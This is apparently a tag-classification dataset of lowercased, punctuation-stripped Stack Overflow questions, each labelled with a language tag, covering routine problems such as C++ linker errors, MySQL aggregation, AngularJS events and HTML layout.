$this-&gt;readsb($curve-&gt;numbits  $bytesavailable);                 $curve-&gt;anchordeltay = $this-&gt;readsb($curve-&gt;numbits  $bytesavailable);                 $records[] = $curve;             }         } else {             $flags = $this-&gt;readub(5  $bytesavailable);             if(!$flags) {                 break;             } else {                 // style change                 $change = new swfstylechange;                 if($flags &amp; 0x01) {                     $change-&gt;nummovebits = $this-&gt;readsb(5  $bytesavailable);                     $change-&gt;movedeltax = $this-&gt;readsb($change-&gt;nummovebits  $bytesavailable);                     $change-&gt;movedeltay = $this-&gt;readsb($change-&gt;nummovebits  $bytesavailable);                 }                 if($flags &amp; 0x02) {                     $change-&gt;fillstyle0 = $this-&gt;readub($numfillbits  $bytesavailable);                 }                 if($flags &amp; 0x04) {                     $change-&gt;fillstyle1 = $this-&gt;readub($numfillbits  $bytesavailable);                 }                 if($flags &amp; 0x08) {                     $change-&gt;linestyle = $this-&gt;readub($numlinebits  $bytesavailable);                 }                 if($flags &amp; 0x10) {                     $change-&gt;newfillstyles = $this-&gt;readfillstyles($version  $bytesavailable);                     $change-&gt;newlinestyles = $this-&gt;readlinestyles($version  $bytesavailable);                     $change-&gt;numfillbits = $numfillbits = $this-&gt;readub(4  $bytesavailable);                     $change-&gt;numlinebits = $numlinebits = $this-&gt;readub(4  $bytesavailable);                 }                 $records[] = $change;             }         }     }     $this-&gt;aligntobyte();     return $records; } </code></pre>,python
how to trigger ng-change from jquery   i have a select tag as follows:   <pre><code>&lt;select ng-change= dosomething()  ng-model= mymodel &gt; &lt;/select&gt; </code></pre>   and i m using a jqueryui control for it (combobox)  the event  change  triggered from jquery doesn t trigger dosomething().     do you know how to trigger ng-change from outside angular,angularjs
gridview column width in asp.net  i m looking to set the width of several columns to 0px initially and then controlling the width with jquery when the table is rendered based on some user interaction on the front-end.     so far  i have   <pre><code>&lt;asp:boundfield datafield= col1  headertext= col1  &gt; &lt;headerstyle horizontalalign= center  verticalalign= middle  width= 0px  /&gt; &lt;itemstyle horizontalalign= center  verticalalign= middle  width= 0px /&gt; &lt;/asp:boundfield&gt; </code></pre>   but for some reason  the column is still showing. why  its width is set at 0px      thanks.,asp.net
reading integers from file  there is a problem  which says that try to read integers from the file which has some integers and text and they are separated from each other by space  like the file xxx.txt: i like a apple which is 45 pounds and 6 yuan 45 lk 56 ds  like this now read all the integers from the file and add them  the example above should be resulted as 45+6+45+56=152  it is written in java code please give me the code in java .,java
error lnk2005. it looks like a file is includet twice  i want to write a little game using opengl and i have a <code>fileutils.hpp</code> with a <code>readfile</code> -function and i have a class <code>shaderprogram</code> which handles shaders and uses <code>fileutils</code>.    now  when i want to start the program i get this error:    <blockquote>    shaderprogram.obj : error lnk2005:  <code>class std::basic_string&lt;char struct std::char_traits&lt;char&gt; class std::allocator&lt;char&gt; &gt; __cdecl readfile(class std::basic_string&lt;char struct std::char_traits&lt;char&gt; class std::allocator&lt;char&gt; &gt; const &amp;)</code>  ( readfile@@ya av $basic_string@du $char_traits@d@std@@v $allocator@d@2@@std@@abv12@@z) already defined in main.obj  </blockquote>   i have not much experience with c++ but i think this error tells me  that my <code>readfile</code>function is defined twice. this should happen if you include a header-file twice which has no <code>#pragma once</code> or header-guard.    my <code>fileutils.hpp</code> looks like this:   <pre><code>#pragma once    #include &lt;string&gt; #include &lt;iostream&gt; #include &lt;fstream&gt;  std::string readfile(const std::string&amp; filename) {     // file reading is done here.     // not important for this question. } </code></pre>   my <code>shaderprogram</code> includes this header:   <pre><code>#pragma once  #include &lt;string&gt; #include &lt;glew\glew.h&gt; #include  fileutils.hpp   // shader stuff done here </code></pre>   and my <code>main.cpp</code> includes <code>shaderprogram.hpp</code>:   <pre><code>#include  shaderprogram.hpp  #include  window.hpp   #define width 800 #define height 600 #define title  voxelworld   #define vertex_shader_file  voxelworld.v.glsl  #define fragmet_shader_file  voxelworld.f.glsl   using namespace voxelworld;  int main(int argc  char *argv[]) {     window window = window(width  height  title);     shaderprogram shaderprogram = shaderprogram(vertex_shader_file  fragmet_shader_file);      while (!window.iscloserequested())     {         shaderprogram.use();         window.update();         shaderprogram.stopuse();     }      return 0; } </code></pre>   <code>window.hpp</code> includes neither <code>fileutils.hpp</code> nor <code>shaderprogram.hpp</code>.    i am pretty sure i just made a silly mistake somewhere  but i don t know where.,c++
multiple definitions of  somefunction    multiple definitions of dllmain@12  i m writing a dll to display <code>messageboxa</code> function from <code>user32.dll</code>.    i keep getting the errors    <ol> <li>multiple definitions of  somefunction </li> <li>multiple definition of  dllmain@12 </li> <li>first defined here</li> </ol>   reading through some of the solutions and comparing the files that i have  <code>main.h</code> and <code>main.cpp</code> have a duplicate function <code>somefunction</code>. how do i correct this  the <code>ifndef</code> is defined in the header file <code>main.h</code>. i tried adding an inline syntax  but that didn t work.     <code>main.cpp</code>:   <pre><code>#include  main.h   // a sample exported function  void dll_export somefunction(const lpcstr sometext) {     messageboxa(0  sometext   dll message   mb_ok | mb_iconinformation); }  extern  c  dll_export bool apientry dllmain(hinstance hinstdll  dword fdwreason  lpvoid lpvreserved) {     switch (fdwreason)     {         case dll_process_attach:             // attach to process             // return false to fail dll load             break;          case dll_process_detach:             // detach from process             break;          case dll_thread_attach:             // attach to thread             break;          case dll_thread_detach:             // detach from thread             break;     }     return true; // succesful } </code></pre>   <code>main.c</code>:   <pre><code>#include &lt;windows.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;main.h&gt;  void test(void)  {     messageboxa(         null           test                       0); } </code></pre>   <code>main.h</code>:   <pre><code>#ifndef __main_h__ #define __main_h__  #include &lt;windows.h&gt;  /*  to use this exported function of dll  include this header  *  in your project.  */  #ifdef build_dll     #define dll_export __declspec(dllexport) #else     #define dll_export __declspec(dllimport) #endif  #ifdef __cplusplus extern  c  { #endif   void dll_export somefunction(const lpcstr sometext);  #ifdef __cplusplus } #endif  #endif // __main_h__ </code></pre>,c++
mysql query using minimum of rows as columns and averaging  i have a too complicated sql problem (mysql) for me and i need help.    i have a table with temperature readings. these readings are from a number of sensors placed at various locations. each reading ocurred at a timestamp. readings are made every ten minutes and because the reading happened sequentially between sensors there might be a second between individual sensor readings.     two sensors read the outside temperature  which means that every ten minutes there are two readings (at location=5 and location=6) that reflect the outside temperature. these sensors are put on the north side and the south side of the building meaning that the lowest of the two readings are likely the most accurate  since the one with the highest can  currently be exposed  by sunlight.    so a sample of the table will look like this   <pre><code>select * from temperatures  where timestamp &gt;  2016-07-01 15:00   and timestamp &lt;  2016-07-01 15:40  and (location=5 or location=6)  and site=3  order by timestamp asc  (`readingid`  `timestamp`  `site`  `location`  `temperature`) (3921775   2016-07-01 15:00:01   3  5  18)  (3921776   2016-07-01 15:00:02   3  6  17.5)  (3921781   2016-07-01 15:10:01   3  5  18.6)  (3921782   2016-07-01 15:10:03   3  6  17.9)  (3921787   2016-07-01 15:20:01   3  5  18.4)  (3921788   2016-07-01 15:20:01   3  6  22.7)  (3921793   2016-07-01 15:30:01   3  5  19.4)  (3921794   2016-07-01 15:30:02   3  6  29.2); </code></pre>   as you can see the timestamp might differ with a second between location=5 and location=6 even if they have a strong time correlation. at 15:00 and 15:10 location 6 is has the lowest temperature and 15:20 and 15:30 location 5 has the lowest temperature. the reading id is irrelevant here.    what i want is the following: 1) display the minimum of location 5 and location 6 for each 10 minute interval. how would this query look for a single day for example  (let s consider  2016-07-01 00:00  to  2016-07-01 23:50 .    ie. the following   <pre><code>(`timestamp (as 10 minute interval)`  `location`  `min of location 5 and 6`)  2016-07-01 00:00   &lt;some data&gt; ...  2016-07-01 15:00   6  17.5  2016-07-01 15:10   6  17.9  2016-07-01 15:20   5  18.4  2016-07-01 15:30   5  19.4 ...  2016-07-02 23:50   &lt;some data&gt; </code></pre>   2) what would the average outside temperature be for a single day in an interval of a month. that is the average temperature of  2016-07-01 00:00  to  2016-07-01 23:50   based on the minumum temperature of location 5 and location 6 for each 10 minut reading. how would you write that query     in this latter case let s either assume that all the data is in place  ie. that there are really 144 readings a day (this is mostly the case) or let s assume that if a reading is missed it doesn t really affect the average som much.    eg. the following result is wanted:   <pre><code>(`date`  `average based on min of location 5 and 6 for each 10 minute intervl`)  2017-07-01   12.0  2017-07-02   13.1  2017-07-03   12.9 etc.  2017-07-31   17.7 </code></pre>   best regards pål,mysql
how to enter values when two div elements having same class names  <a href= http://i.stack.imgur.com/percv.jpg  rel= nofollow >screen shot</a>    i have to enter value in particular cell but getting error   <pre><code>driver.findelements(by.xpath( //div[@class= x-grid-item-container ]/table/tr/td[4]/div)[2] )).click(); driver.findelements(by.xpath( //div[@class= x-grid-item-container ]/table/tr/td[4]/div)[2] )).sendkeys( 5.03 ) </code></pre>,html
how can i fix the csv import issue   i am trying to import this data from a csv file   <pre><code>location    scale  0.90109    0.63551 0.59587     0.65525 0.80460     0.64227 0.65178     0.65198 0.76307     0.64503 0.52575     0.65915 0.41322 0.66496 0.30059 0.67022 0.21620     0.67382 0.17404 0.67552 -0.05027    0.68363 -0.0782 0.68454 </code></pre>   using this code.   <pre><code>test=[] import csv f=open( data.csv ) for row in csv.reader(f):     test.append(row) </code></pre>   but when i open the test file  i am getting some \xao encodings. can you tell me how to fix this     all i want to do is perform some operations on the data after importing into a variable.    <img src= https://i.stack.imgur.com/qskej.png  alt= enter image description here >,python
retrieve max date record from two different tables  <strong>table 1</strong> - account   <pre><code>id  account  date ----------------------- 1   sbi      01-10-2005 2   sbi      05-11-2014 3   axis     02-06-2003 4   axis     01-08-2015 </code></pre>   <strong>table 2</strong> - user   <pre><code>id  account    date          user ----------------------------------- 1   sbi        01-10-2005    amit   2   sbi        05-11-2014    rahul   3   axis       02-06-2003    raghu   4   axis       01-08-2015    sumit </code></pre>   from the above two tables  final output required is   <pre><code>id  account   date          user ----------------------------------- 2   sbi       05-11-2014    rahul      4   axis      01-08-2015    sumit </code></pre>,sql
put keys from dictionary to new list based on other lists  i am a total beginner on python and wondering if this is possible        <pre><code>businessideas = {  delidelivery : [ bread ]   ikea : [ sofa   table ]   volvo : [ car   window ]   saab  : [ window ] }     carkeywords = [ car    engine ] furniturekeywords = [ sofa    bookshell ] bakerykeywords = [ bread    flour    cookies ]  carkeywords_competitors = [] furniturekeywords_competitors = [] bakerykeywords_competitors = [] </code></pre>   i want to create a function that puts every dictionary-key in a competitors list if they have a common value. so for an example the key ikea has the elements sofa and table. then the function should see that the value sofa is a duplicate to of furniturekeywords elements. then the funtion should put the key ikea in the list furniturekeywords_competitors. if it would have the same value as carkeywords the function would have put the key in carkeywords_competitors.,python
how can i search through a string in c# and replace areas bounded by a pattern   we tried a few solutions now that try and use xml parsers. all fail because the strings are not always 100% valid xml.  here s our problem.     we have strings that look like this:   <pre><code>var a =  this is a testxxx of my data yxxx and of these xxx parts yxxx ; var b =  hello testxxx world yxxx  ;   this is a testxxx3yxxx and of these xxx1yxxx ;  hello testxxx1yxxx  ; </code></pre>   the key here is that we want to do something to the data between xxx and yxxx. in the example above i would need a function that counts words and replaces the strings with a word count.    is there a way we can process the string a and apply a function to change the data that s between the xxx and yxxx  any function right now as we re just trying to get an idea of how to code this.,c#
contrasted if statements in java  i have been playing around with some code and noticed that if i have an if statement which kind of does the same thing twice  i was wondering whether java had any implementation to do the opposite of a certain action.   <pre><code>if(id == 1) {    partnerid = 3; } else if(id == 2) {    partnerid = 4; } else if (id == 3) {    partnerid = 1; } else {    partnerid = 2; } </code></pre>   as you can see  if id is 1 then the partner id is 3 and visa versa.,java
while loops - increment a list  i m stuck trying to figure out this while loop. it seemed simple at first but i keep running into errors. i think i just haven t used python in a while so it s hard to get back into the gist of things.   <blockquote>    write a while loop that will add 100 numbers to a list  starting from the number 100 and incrementing by 2 each time. for example  start from 100  then the next number added will be 102  then 104 and so on.  </blockquote>   i have this so far;   <pre><code>count = 0 while count &lt; 99:     count += 1     numbers.append(len(numbers)+2)  for x in numbers:     print(x) </code></pre>   but that is simply giving me 0-100 printed out when i want it to be 2 4 6 8 10 ...,python
line spacing in sql  i m trying to program my medical practices emr. here is the code that prints our patient s medication list:   <pre><code>&lt;font point= 10 &gt; &amp;sqlnumbered&amp;sqlmrgn02&amp;sqltrim&amp;sqlcomma &amp;{select prescripti instructio from clrxhist where company= &amp;company  and ssno= &amp;mrno  and activeflag= y } </code></pre>   and produces the following output:   <ol> <li>multiple vitamins essentials multiple vitamins  1 tablet by mouth daily</li> <li>niacin 500 mg tablet  2 tablets by mouth daily</li> <li>otc supplements variable  take as directed</li> <li>simvastatin 40 mg tablet  1 tablet by mouth daily</li> </ol>   how can i increase the spacing between each line,sql
confused about xibs and programmatically  i a newbie for iphone development. i got some questions here.   <ol> <li> i know ib is a convinience tool for ui desgin and you also can do most things programmatically. i am just wondering  when should i create an interface controll without ib and why so. i am trying to form a good habit for this. thank you very much. a friend told me that when efficiency should be considered for the application  then i should create interface controller programmatically  any other cases  </li> <li> i am studying learn objective c on mac now. it says that  apple suggests you avoid using autorelease on your own code . so  does it mean i cannot use  autorelease  or just i should avoid using it. for example  can i use following code in my own code for iphone development    <pre><code>@interface test {        a* a;   }  @implementation {      a = [[[a alloc]init]autorelease];   } </code></pre></li> </ol>   thank you for your time to read this. i am looking forward to answers :d.,objective-c
how to resolve an uninstall window appear issue after restart the system   i have tried to install an exe developed using <code>wix installer</code>. after installation completed  tried to restart the system. following sample logic i used.    <strong>samples :</strong>    <pre><code>        private void btn_restartyes_click(object sender  routedeventargs e)         {             thread thread = new thread(new threadstart(restartthreadfunction));             thread.start();             this.close();             syncba.model.engine.quit(0);          }         public void restartthreadfunction()         {             try             {                 process.start( shutdown    /r );             }             catch (exception ex)             {                 syncba.model.engine.log(loglevel.error  ex.message);             }         }          private void btn_restartlater_click(object sender  routedeventargs e)         {             this.close();          }                                   ( or )          private void btn_restartyes_click(object sender  routedeventargs e)         {             restartthreadfunction();                    }         public void restartthreadfunction()         {             try             {                 processstartinfo proc = new processstartinfo();                 proc.windowstyle = processwindowstyle.hidden;                 proc.filename =  cmd ;                 proc.arguments =  /c shutdown -f -r ;                 process.start(proc);                 syncba.model.engine.quit(0);                 this.close();             }             catch (exception ex)             {                 syncba.model.engine.log(loglevel.error  ex.message);             }         }     private void btn_restartlater_click(object sender  routedeventargs e)     {         this.close();      } </code></pre>  <blockquote>    above logic is successfully working fine. after restarted the system  exe  uninstall window appear.  </blockquote>   how to resolve an uninstall window appear issue after restart the system      thanks in advance!!,c#
test case format for login page conatins 2 fields only  what is the format of writing the test case documentation for login page which contains only userid and password field and for birth form,asp.net
select articles from distinct categories  i have a table with some articles named  articles  with the following columns&amp;rows   <pre><code>id - category -  title - content - date 1 - 1 - my title - my content - time here 2 - 2 - my title - my content - time here 3 - 1 - my title - my content - time here 4 - 1 - my title - my content - time here 5 - 3 - my title - my content - time here 6 - 1 - my title - my content - time here 7 - 2 - my title - my content - time here 8 - 3 - my title - my content - time her 9 - 4 - my title - my content - time here 10 - 4 - my title - my content - time here </code></pre>   i need to select 2 distinct articles only from categories 1 2 and 3     my code so far is:   <pre><code>select * from articles where category in ( 1    2    3 ) order by date desc limit 6 </code></pre>,mysql
remove all strings with duplicates in an nsarray  i am trying to figure out how to implement this in objective-c.     i want to remove the strings in an <code>nsarray</code> that have appear more than once in the array.     at the end i want to have an array that only has the unique lines in an array (meaning that not just the duplicates are deleted but also the original string that matches the duplicates.)     for example if you had the following array:   <pre><code>nsarray *array = [nsarray arraywithobjects:@ bob   @ frank   @ sarah   @ sarah   @ fred   @ corey   @ corey   nil]; </code></pre>   i would want the new array to look like this:   <pre><code>@ bob   @ frank   @ fred  </code></pre>,objective-c
store static big size array  i need to store an array of 40000 statics strings (towns).    how can i do this in objective-c,objective-c
prevent user of selecting same values on select html  i have two selects with the same values    eg:   <pre><code>&lt;select id= 1 &gt;   &lt;option value= volvo &gt;volvo&lt;/option&gt;   &lt;option value= saab &gt;saab&lt;/option&gt;   &lt;option value= mercedes &gt;mercedes&lt;/option&gt;   &lt;option value= audi &gt;audi&lt;/option&gt; &lt;/select&gt;  &lt;select id= 2 &gt;   &lt;option value= volvo &gt;volvo&lt;/option&gt;   &lt;option value= saab &gt;saab&lt;/option&gt;   &lt;option value= mercedes &gt;mercedes&lt;/option&gt;   &lt;option value= audi &gt;audi&lt;/option&gt; &lt;/select&gt; </code></pre>   how can i prevent user not to choose the same values on both boxes     i am populating the select values with php from a database.    edit:    i arrived on this: <a href= https://jsfiddle.net/zrr9ngj8/1/  rel= nofollow >jsfiddle</a>    but it needs improvement when changing a value already selected.,html
rounding to greater integer c  i want to know the method to round off a float value to next largest integer....ex- 12.1   to  13   and 12.9 to 13  or  45.7 to 46  etc  always the next int,c
div float left without set height  working on a new site and having issues floating divs left with the overflow wrapping to the next line.     sample: <a href= http://gohmm.matthewgideon.com/get-involved/sponsorships/  rel= nofollow noreferrer >http://gohmm.matthewgideon.com/get-involved/sponsorships/</a>    you ll notice when you reduce the size of the browser - the 1st set of images at the bottom are correct  but they should wrap to the next line after they reach 100% across the screen.     if i add a height to the divs it works  but i did not want to set a height. here is the basic coding i m using.   <pre><code>#sponsorshipwrapper { margin-left: auto; margin-right: auto; width: 100%;}  #sponsorship { display: block; float: left; padding: 0 20px 40px; width: calc(20% - 40px); } </code></pre>   ultimately i m trying to pull a query of posts and place the in a grid pattern  left to right.,html
html text box is not displaying carriage returns from the input area  i have this description box in or crm page that displays text like this in the description box.   <br><strong>description</strong>   <blockquote>    system   information------------------------------------------------------------------------------os windows 7 home premium x64 edition 6.1 (build: 7600)bios version   hpqoem - 42302e31last booted 6/4/2013 5:24 pmcomputer name   brandon-pccpuinformation-----------------------------------------------------cpu   name amdcpu clock 2712 mhzcpu description number 2 level 16 model 6   stepping 2cpu usage   74%---------------------------------------------------------memory   information-------------------------------physical memory size 2.87 gb  </blockquote>   the code for this text box is as follows.   <pre><code>&lt;table&gt;&lt;tr&gt;&lt;td align= left &gt;     &lt; php echo $appui-&gt;_( description ); &gt;:     &lt;br /&gt;     &lt;textarea name= task_description  class= textarea  cols= 60  rows= 10  wrap= virtual &gt;&lt; php echo @$obj-&gt;task_description; &gt;&lt;/textarea&gt;     &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt; </code></pre>   the way that i type in is as follows:   <blockquote>    system information   ------------------------------------------------------------------------------ os       windows 7 home premium x64 edition 6.1 (build: 7600) bios   version             hpqoem - 42302e31 last booted<br>   6/4/2013 5:24 pm computer name            brandon-pccpu information   ----------------------------------------------------- cpu name         amd cpu clock        2712 mhz cpu description  number 2 level 16 model   6 stepping 2 cpu usage        74%   --------------------------------------------------------- memory information   ------------------------------- physical memory size    2.87 gb  </blockquote>   when i go back in to edit it the input box is also messed up like it s displaying.  i have tried all the adding of the code from the following places but i can t get this to work.   <ol> <li><a href= https://stackoverflow.com/questions/8627902/new-line-in-text-area >new line in text area</a></li> <li><a href= https://stackoverflow.com/questions/7981786/line-breaks-in-textarea-element >line breaks in textarea element</a></li> </ol>   any help is greatly appreciated.,html
error: expected unqualified-id  so  i have searched around for answers  and multiple people have got the same error response but i cannot see how their errors could fix my code.    i started trying out c++ yesterday  but i am experienced with mostly python but also c#    i am making a simple contact book  just for learning. i am not done with the class or any other implementation  just need this fixed first.    the exact error is   <pre><code>kontaktbok.cpp:9: error: expected unqualified-id before  public  </code></pre>   and the code is here   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;sstream&gt;  using namespace std;  bool running = true;  public class contact {     private:         string firstname   =   ;         string lastname    =   ;         string phonenumber =   ;      public:         contact()         {             this.firstname =  alfred ;         } };  int main() {         cout &lt;&lt;  welcome to the contact book!  &lt;&lt; endl &lt;&lt;                  made by x ;     while (running)     {         cout &lt;&lt;  1. add contact     &lt;&lt; endl              &lt;&lt;  2. list contacts   &lt;&lt; endl              &lt;&lt;  3. quit            &lt;&lt; endl;         cout &lt;&lt;  choice:  ;         string mystr;         getline(cin  mystr);         int choice;         stringstream(mystr) &gt;&gt; choice;         switch (choice)         {             case 1: cout &lt;&lt;  asd ;             case 2: cout &lt;&lt;  asd2 ;             case 3: running = false;             default : cout &lt;&lt;  invalid integer ;         }     }     return 0; } </code></pre>   thanks in advance!,c++
convert date time string from c# to date object in javascript  i m creating a cookie in c# and sending the object to the client via signalr:   <pre><code>      public void send(string name  string message string connid)     {         var cookie = getauthcookie(connid);         clients.client(connid).addnewmessagetopage(name  message cookie);     }      public static httpcookie getauthcookie(string cid)     {             httpcookie authcookie = new httpcookie( some cookie    i aint goin nowhere );             authcookie.domain =  localhost ;             authcookie.expires = datetime.now.addseconds(5000);             return authcookie;     } </code></pre>   the signalr method is this:   <pre><code> var chat = $.connection.letschathub;         // create a function that the hub can call back to display messages.         chat.client.addnewmessagetopage = function (name  message  cookie) {             // add the message to the page.         }; </code></pre>   the date inside the cookie object is in this format:   <pre><code>   cookie.expires =  2018-04-26t15:25:52.4197877-05:00  </code></pre>   i tried to convert that string to a date like so:   <pre><code> var date_test = new date( 2018-04-26t15:25:52.4197877-05:00 .replace(/-/g   / ));     alert(date_test); </code></pre>   it does not work. how do i convert that date string to a javascript date object so i can get the date and time  thanks,javascript
casting a function parameter from void* to actual  i have a routine that gets passed a void* to a structure.  in the routine i cast it to the correct type  e.g.   <pre><code>somefunc(void* pmsg) {   printf( event = %d\n   static_cast&lt;struct myeventmsg*&gt;(pmsg)-&gt;event); } </code></pre>   if i am accessing many members of the structure the code looks pretty messy.  i can create a new pointer of the correct type and assign it the cast void*  but it seems like it shouldn t be necessary to create a temporary variable just for this purpose.  is there some way to cast the parameter pmsg to the correct type     thanks doug,c++
call angular controller function on application close  i want to execute a function before the application close. i have a code which is executing before the route changes that is fine  but i also want to execute the same function if someone close the application instead of changes the route..is there any way    <pre><code> $scope.$on( $destroy   function () {                  element.autosave();              }); </code></pre>,angularjs
library for validating phone number format  in java/android there a library for validating international phone numbers <a href= https://code.google.com/p/libphonenumber/  rel= nofollow >https://code.google.com/p/libphonenumber/</a>    is there any similar library for ios/objective-c.,ios
any-type holder with dynamic type casting  i m trying to implement an object holder (similar to <code>boost::any</code>) with an additional feature that the objects could be accessed using their base class types. i understand that this is not possible simply using the <code>boost::any</code> class as one needs to know at any moment the precise type of the object when accessing it  e.g.  to get a reference to the object stored in this  any  holder.    currently  i m solving this problem in a bit stupid way. i define a sort of conversion trait with which i can specify some base-derived type relations  e.g.  as follows:   <pre><code>// by default  t is a base of itself. template&lt;typename t&gt; struct conversion_trait {         typedef t base_type; };  // says that  base  is a base type of  derived . template&lt;&gt; struct conversion_trait&lt;derived&gt; {         typedef base base_type; }; </code></pre>   the point is that  when instantiating a holder using the template constructor or using the template assignment operator  i actually create a holder using the base class type specified by the traits. when accessing the variable  i can then use both the base and derived type as specified by the traits.    for example  the template constructor looks like:   <pre><code>template&lt;typename t&gt; variable::variable(const rcp&lt;t&gt; &amp;rhs) : m_any(new any) // shared pointer having the any-holder: rcp&lt;any&gt; {     *m_any = rcp_dynamic_cast&lt;typename conversion_trait&lt;t&gt;::base_type&gt;(rhs); } </code></pre>   here  <code>any</code> is essentially something like <code>boost::any</code> and <code>rcp</code> is just an implementation of the reference counted pointers (much like <code>boost::shared_ptr</code> or that in stl of c++11  more or less). there are reasons why i need to keep the any holder in a shared pointer and why to have a shared pointer in that any holder.    the  getter  of the rcp pointer with content of the any holder looks (in a very simplified way) like:   <pre><code>template&lt;typename t&gt; rcp&lt;t&gt; variable::get_rcp() {     typedef typename conversion_trait&lt;t&gt;::base_type base_type;     // first  get the content of the base type of t.     // (templated get() is something like boost::any_cast)     rcp&lt;base_type&gt; base = m_any-&gt;get&lt;rcp&lt;base_type&gt;&gt;();     // then do dynamic cast to t.     return rcp_dynamic_cast&lt;t&gt;(base); } </code></pre>   so now  if i store in the variable an instance of the type <code>derived</code>  i can access it using both <code>derived</code> and <code>base</code>. however  i need to specify this relation manually in a specialisation of the conversion trait.    also  it might be a bit complicated  if the hierarchy was more complicated. if i has a hierarchy <code>abstract</code> base of <code>base</code> base of <code>derived</code>. it would still be doable  defining conversion trait for both <code>base</code> and <code>derived</code> to the <code>abstract</code> type  but it starts to get already a bit cumbersome.   <blockquote>    <strong>question:</strong> is there any kind of workaround to get the same functionality without the use of this explicit conversion and having a possibility to access the  any-holder  using any type    </blockquote>   i know about  <a href= https://github.com/bytemaster/boost.dynamicany/blob/master/include/boost/dynamic_any.hpp  rel= nofollow >dynamic_any</a>  but i cannot use it because i cannot afford to make copies of the objects inside the holder (the copies are quite expensive). the only other  solution  i can think of now uses templated virtual methods  which is of course impossible.    thanks in advance for any pointer or suggestion.,c++
why does  uint64[] arr=new uint64[uint64.maxvalue];  throw exception   why does following code throw exception <strong> arithmetic operation resulted in an overflow. </strong>     <pre><code>uint64[] arr=new uint64[uint64.maxvalue]; </code></pre>,c#
how to force save and restrict open  in my html code  i have a link to a csv file. ones a user click on it  the default program (ms excel) starts and give two options : <code>open</code> and <code>save</code>   <pre><code>&lt;a href= \\c:\xxx\test.csv &gt;download data&lt;/a&gt;  </code></pre>   i need to restrict the <code>open</code> option. i want the user to be able to do download it to his/her computer  but not open the version that is on my drive. how can i do this,html
how i can save my data file to my webspace through my iphone app  i want to save the data which i gather through my iphone app to my webspace in xml format so that the other user s can access it and see the data.    thanks,iphone
when i signal something like  01%  i don t get a warning  after this trigger i dont get a warning if i inserted 5 in foo.x       <pre><code>\d $ create trigger `tri` before insert on `foo` for each row begin     if new.bar = 5 then         signal sqlstate  01002  set message_text =  msg ;     end if; end$\d ;  insert into `foo` values (5); </code></pre>  <blockquote>    1 row affected  </blockquote>,mysql
jquery can not update the contents  our wordpress page is updated with a jquery script. recently  without change  the update no longer works and nothing can be added to the page. this is the script:   <pre><code>&lt;script type= text/javascript &gt; var paper_list_comp = list_with_stag( publication        function(){     &lt; php if(current_user_can( administrator )) {  &gt;         jquery( #paper-list-control ).html( &lt;button id= paper-list-admin-add &gt;publications&lt;/button&gt; );         jquery( #paper-list-admin-add ).button().click(function() { on_publication_click(-1); });     &lt; php } // end if  &gt;         jquery( #paper-list ).html(  );     }      function(idx  token){         var str = token.replace(/^\[(.*)\]$/   $1 );         if(str.length&lt;=0) return;         var p = json.parse(str);         var content =  &lt;div class= paper-detail  onclick= on_publication_click( +idx+ ); &gt;&lt;span class= paper-author &gt; +p.author+ &lt;/span&gt;&lt;span class= paper-title &gt; +p.title+ &lt;/span&gt;&lt;span class= paper-publication &gt; +p.publication+ &lt;/span&gt;&lt;span class= paper-link &gt;&lt;a href=  +p.href+  &gt; +p.link+ &lt;/a&gt;&lt;/span&gt; ;         if(p.supp_link!=undefined &amp;&amp; p.supp_href!=undefined) {         content +=  &lt;span class= paper-supp-link &gt;&lt;a href=  +p.supp_href+  &gt; +p.supp_link+ &lt;/a&gt;&lt;/span&gt; ;         }         content +=  &lt;/div&gt; ;         jquery( #paper-list ).prepend(content);         return p;     } ); paper_list_comp.refresh();  var on_publication_click = function(idx) {     window.open(paper_list_comp.data[idx].href); } </code></pre>,jquery
loading svg or image to uiwebview but not showing uiwebview to mainview  i m curious is there would be a problem regarding loading images or svg codes to a webview when the webview is not being shown  because i m planning on making the webview a holder of the svg then have the webview converted to uiimage. thanks,objective-c
creating an uibutton action with argument in ios  i have a <code>uibutton</code> called <em>firstbutton</em> that has the line below to add the target. however i am getting the error:   <blockquote>    parse issue expected )  </blockquote>   can anyone help me with the correct syntax    <pre><code>[firstbutton addtarget:self action:@selector(responseaction: 1) forcontrolevents:uicontroleventtouchupinside];  - (ibaction) responseaction:(int)buttonpressed { nslog(@ %d   buttonpressed); } </code></pre>,ios
how can i return duplicate rows for a set of ids   i tried to google this but i didn t know how to write it without needing to explain myself.    basically i have a data set that i am performing some validation on  and i am looking for duplicate data imports from users of the database i am working on.    the reason for this is that the users have been importing building information into the database. in some cases  the name (for example) has been incorrect  and so they have amended the import file and re uploaded the data.    the issue is that rather than replacing the existing building  the importer (understandably) creates new building records. so i need a way to return building records that have a duplicate  so that we can remove the older records.    obviously this is not perfect  but i m trying to use common fields (building size  location) to locate duplicates  as these fields would be the same; it s only the names that would have changed. so i if i were to have tables laid out as below  how would i isolate the duplicate rows  (sorry for the imgur link  i don t know how to format text here into a table-like format; the table is very much simplified)    <a href= http://imgur.com/copxzar  rel= nofollow >http://imgur.com/copxzar</a>    so you can see that the buildings at locationid 1 and 4 have only been imported once  but the import for locationid 2 has been run twice and 3 times for locationid 3 - these are the records i need to find.    i simply want to know if there is something i can use to isolate rows where a series of columns are duplicated - can anyone help,sql
do_ not declared in this scope  lost on this part of the code.   <pre><code>     const struct editor_cmd_type editor_table[] =     {     /*  {   command         function        }  */          {    area           do_aedit        }          {    room           do_redit        }          {    object         do_oedit        }          {    mobile         do_medit        }          {    mpcode         do_mpedit       }          {    hedit          do_hedit        }           {   null            0               }     }; </code></pre>   errors i am getting:   <pre> olc.c:652: error: âdo_aeditâ was not declared in this scope olc.c:653: error: âdo_reditâ was not declared in this scope olc.c:654: error: âdo_oeditâ was not declared in this scope olc.c:655: error: âdo_meditâ was not declared in this scope olc.c:656: error: âdo_mpeditâ was not declared in this scope olc.c:657: error: âdo_heditâ was not declared in this scope make: *** [olc.o] error 1 </pre>   there  is already <code>void do_aedit</code>  <code>void do_redit</code> and such in the code...what am i missing,c++
